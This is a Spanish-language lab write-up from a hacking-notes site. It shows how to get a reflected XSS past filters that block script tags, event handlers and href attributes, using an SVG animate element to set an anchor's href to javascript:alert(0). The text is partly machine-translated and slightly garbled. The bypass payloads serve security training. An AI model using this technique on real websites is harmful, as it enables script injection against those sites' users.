> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/xss-with-blocked-events-and-href-attributes.md).

# XSS con eventos bloqueados y atributos href

### XSS reflejado con controladores de eventos y atributos href bloqueados

Lab d La operación debe inyectar un elemento clicable con las palabras **"Clic"** (o equivalente) y activar `alert()` al hacer clic.

Inserta un elemento visible que lleve la palabra **Haz clic en** que, cuando el usuario hace clic en él, ejecuta `alert()` a pesar de la prohibición de controladores de eventos y `href`.

```javascript
<script>
```

* Insertando `<script>` devuelve: *La etiqueta no está permitida*.

<figure><img src="/files/28d09c05b631d2687db996918b3af69e34eb6bff" alt=""><figcaption></figcaption></figure>

* El `<a>` la etiqueta es aceptada (p. ej. `<a>test</a>`),

```javascript
<a>test</a>
```

<figure><img src="/files/4e6da5dd649c7b568a811860cf392e618d2470b2" alt="" width="510"><figcaption></figcaption></figure>

El `href` el atributo es rechazado — `href="JavaScript:..."` está bloqueado.

```javascript
<a href="javascript:alert(0);"Haz clic en mí</a>
```

<figure><img src="/files/baff899869311c402d68ba6e68fb4d968d174f6b" alt=""><figcaption></figcaption></figure>

* Se permiten elementos SVG (`<svg>` se acepta).

```javascript
<svg>
```

<figure><img src="/files/3bf167457d1b6bd512f8cb41e6584096f8d33c31" alt="" width="563"><figcaption></figcaption></figure>

* Los elementos de animación SVG (como `<animate>`) parecen presentes y explotables.

<figure><img src="/files/51b3416b897b78e335a68561bef3c2ca34837163" alt=""><figcaption></figcaption></figure>

**Intentos —**

* Inyectar `<script>` → rechazado.
* Utilice `<a href="JavaScript:...">` → atributo prohibido.
* Evasión del bloqueo combinando elementos SVG y de animación para transferir un `href` valor a un ancla y así intentar ejecutar `JavaScript:alert(0)` al hacer clic.

```javascript
<svg><a><animate attributeName=href values=javascript:alert(0) /><text x=30 y=30>¡Haz clic en mí!</script></a>
```


---

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